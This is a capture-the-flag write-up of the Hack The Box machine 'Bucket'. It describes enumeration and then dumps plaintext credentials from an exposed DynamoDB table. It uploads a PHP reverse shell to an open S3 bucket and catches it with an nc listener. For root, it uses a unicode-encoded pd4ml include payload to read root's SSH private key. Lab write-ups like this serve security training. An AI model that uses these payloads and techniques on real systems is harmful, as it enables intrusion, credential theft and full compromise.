HTB: Bucket writeup


Initially, I kicked off a Nmap scan and a Nikto scan. The Nikto scan did not return anything of value, the Nmap scan however gave us the following results:

# Nmap 7.91 scan initiated Sun Feb 28 11:09:36 2021 as: nmap -p- -A -sV -vvv -Pn -oA nmap/fullnmap bucket.htb
Nmap scan report for bucket.htb (
Host is up, received user-set (0.025s latency).
Scanned at 2021-02-28 11:09:36 EST for 34s
Not shown: 65533 closed ports
Reason: 65533 conn-refused
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
|   256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open  http    syn-ack Apache httpd 2.4.41
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: Host:; OS: Linux; CPE: cpe:/o:linux:linux_kernel

We can see that ports 80 and 22 are open. Upon experimenting with port 22 we can ascertain that both password and public key logins are accepted:

└─$ ssh test@bucket.htb                                                                                         
test@bucket.htb's password: 
Permission denied, please try again.
test@bucket.htb's password: 
Permission denied, please try again.
test@bucket.htb's password: 
test@bucket.htb: Permission denied (publickey,password).

Observing the webpage on port 80, we see several links that don’t go anywhere. However, digging through the source code we discover that the images are hosted on a specific subdomain, namely s3.bucket.htb:


Navigating to the root domain of s3.bucket.htb we find a small JSON response that states {"status": "running"}. Attempting directory listing seems ineffective and returns us an XML error on “http://s3.bucket.htb/adserver/images/" which does not give us much information:

<?xml version="1.0" encoding="UTF-8"?>
    <Message>The specified key does not exist.</Message>

Deciding I’d like to see what else is present on this domain, I ran wfuzz against it and found the following interesting page present at s3.bucket.htb/shell/:


The web shell appears to be part of the AWS stack of software. This also explains the s3 in the URL used to access this page. We’re likely dealing with an amazon AWS(-like) instance.

Using the built-in API Templates, we can gather all the existing tables in dynamodb and print out their details:

var params = {
    ExclusiveStartTableName: 'table_name', // optional (for pagination, returned as LastEvaluatedTableName)
    Limit: 10, // optional (to further limit the number of table names returned per page)
dynamodb.listTables(params, function(err, data) {
    if (err) ppJson(err); // an error occurred
    else ppJson(data); // successful response

This gives us the following tables:


Inspecting the users table with a describe function:

var params = {
    TableName: 'users',
dynamodb.describeTable(params, function(err, data) {
    if (err) ppJson(err); // an error occurred
    else ppJson(data); // successful response

Gives us:


Then, finally, using the scan template, we can get the values stored in the table:

var params = {
    TableName: 'users',
    Limit: 10, // optional (limit the number of items to evaluate)
    ReturnConsumedCapacity: 'NONE', // optional (NONE | TOTAL | INDEXES)
dynamodb.scan(params, function(err, data) {
    if (err) ppJson(err); // an error occurred
    else ppJson(data); // successful response

Like so:


Cleaning up the output, we have the following credential sets stored away:

Username Password
Mgmt Management@#1@#
Cladadm Welcome123!
Sysadm n2vM-<_K_Q:.Aa2

Next, I attempted to log in to the SSH port with the above-discovered credentials. With this, I also attempted to mangle the password list with john, with however no avail. As such, the search continued.


At this point, I started to look into the aws CLI application and its features. After playing around a bit with the s3 ls function, I discovered that the index.html page (the one present on the bucket.htb domain) is stored in s3.bucket.htb/adserver/index.html. I discovered this using the following sequences of commands:

└─$ aws s3 ls s3:/// --endpoint-url http://s3.bucket.htb                                                        130 ⨯
2021-03-02 14:04:02 adserver
└─$ aws s3 ls s3://adserver/ --endpoint-url http://s3.bucket.htb
                           PRE images/
2021-03-02 14:04:02       5344 index.html

After some further testing, I also noted that no credentials were required to upload files to the bucket, allowing me to upload a shell directly to the root of the webserver. I grabbed the php reverse shell from pentestmonkey, updated the variables, and uploaded it to the webroot directory.

It turned out there was a delay between the upload and the shell becoming available on the webserver. As such I simply automated triggering the payload with curl and watch.

Then the shell arrived!

└─$ nc -nvlp 9898                            
listening on [any] 9898 ...
connect to [] from (UNKNOWN) [] 47732
Linux bucket 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 19:09:02 up 50 min,  2 users,  load average: 0.03, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
roy      pts/0     18:20   11:10   0.29s  0.29s -bash
root     pts/1     19:00    5:25   0.03s  0.03s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

From here, it was a bit of playing around and information gathering. Upon reading /etc/passwd I discovered the name of the user on the machine to be roy:

systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

Now, attempting to connect with ssh to the machine using the username roy and any of our previously discovered passwords uncovers that Roy uses password n2vM-<_K_Q:.Aa2 for his main account. Giving us user access to the machine and the user password.

roy@bucket:~$ whoami
roy@bucket:~$ id
uid=1000(roy) gid=1000(roy) groups=1000(roy),1001(sysadm)
roy@bucket:~$ cat user.txt 

Privilege Escalation

Playing around with the machine some more, we uncover the following lines in the apache configuration files at /etc/apache2/sites-available/000-default.conf:

	<IfModule mpm_itk_module>
		AssignUserId root root
	DocumentRoot /var/www/bucket-app

This is of great interest as, using the mpm_itk_module module, the webserver is running as root. A great vector to elevate our privileges.

Observing this page, with the help of ssh dynamic port forwarding, we see the following page:


Digging through its source code, we find nothing of interest. However, we can access the file itself as the webroot at /var/www/bucket-app/ is readable by the Roy user, however not writeable. Reading the source code directly, we notice a small PHP snippet present at the top of the page:

require 'vendor/autoload.php';
use Aws\DynamoDb\DynamoDbClient;
	if($_POST["action"]==="get_alerts") {
		$client = new DynamoDbClient([
			'profile' => 'default',
			'region'  => 'us-east-1',
			'version' => 'latest',
			'endpoint' => 'http://localhost:4566'

		$iterator = $client->getIterator('Scan', array(
			'TableName' => 'alerts',
			'FilterExpression' => "title = :title",
			'ExpressionAttributeValues' => array(":title"=>array("S"=>"Ransomware")),

		foreach ($iterator as $item) {
		passthru("java -Xmx512m -Djava.awt.headless=true -cp pd4ml_demo.jar Pd4Cmd file:///var/www/bucket-app/files/$name 800 A4 -out files/result.pdf");

Here we can read that this piece of code does the following in order:

  1. Checks if the request received is a POST request
  2. If yes, is there a parameter action with value get_alerts
  3. If also yes, open the alerts table in dynamodb
  4. For every line that has the string Ransomware in its title value do the following:
  5. Get the data value and write this to a randomly named HTML file
  6. Pass this file to the pd4ml_demo.jar to generate a pdf file
  7. Store the pdf file in the files folder

This sets out a largely straightforward plan for us to elevate our privileges. We can easily send a crafted post request to the port and we have access to the dynamodb environment. This means we can place arbitrary HTML files in the webroot with inline PHP.

However, as we further explored the machine and played around with the dynamodb environment, we notice that it is frequently purged. Thus, as before, I’ve automated several actions using the AWS CLI and the watch command. Using the following sets of commands in different terminals, we can continuously create and populate tables in dynamodb:

Assure table exists:

└─$ watch aws dynamodb create-table \
    --table-name alerts \
    --attribute-definitions \
        AttributeName=title,AttributeType=S \
        AttributeName=data,AttributeType=S \
    --key-schema \
        AttributeName=title,KeyType=HASH \
        AttributeName=data,KeyType=RANGE \
--provisioned-throughput \
        ReadCapacityUnits=10,WriteCapacityUnits=5 \
        --endpoint-url http://s3.bucket.htb

Populate with data:

watch ./

Where contains:

aws dynamodb put-item --table-name alerts --item '{"title": {"S": "Ransomware"}, "data": {"S": "PAYLOAD"}}' --endpoint-url http://s3.bucket.htb

However, after various attempts with inline PHP payloads, I noticed that they were not being executed and instead displayed directly back to the user. This lead me to further investigate the jar application that was being used to create a pdf out of the input HTML page pd4ml.

After searching online and its version history for known vulnerabilities came up empty, I’ve decided to dig through the documentation of the application. And here I found the following available tag only for this specific application: <pd4ml:include src="URL">. Using this, I could include a local file in the final report.

Deciding on /root/.ssh/id_rsa (and unicode-encoding my payload for safety) this landed me on the following payload:

aws dynamodb put-item --table-name alerts --item '{"title": {"S": "Ransomware"}, "data": {"S": "\u003C\u0068\u0074\u006D\u006C\u003E\u003C\u0070\u0064\u0034\u006D\u006C\u003A\u0069\u006E\u0063\u006C\u0075\u0064\u0065\u0020\u0073\u0072\u0063\u003D\u0022\u0066\u0069\u006C\u0065\u003A\u002F\u002F\u002F\u0072\u006F\u006F\u0074\u002F\u002E\u0073\u0073\u0068\u002F\u0069\u0064\u005F\u0072\u0073\u0061\u0022\u003E\u003C\u002F\u0068\u0074\u006D\u006C\u003E"}}' --endpoint-url http://s3.bucket.htb

After again walking through the steps, we successfully retrieved the private key:


Copying the private key out of the file and using it to authenticate as root:

└─$ ssh root@bucket.htb -i root_id_rsa
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-48-generic x86_64)
Last login: Tue Mar  2 19:24:10 2021 from
root@bucket:~# cat root.txt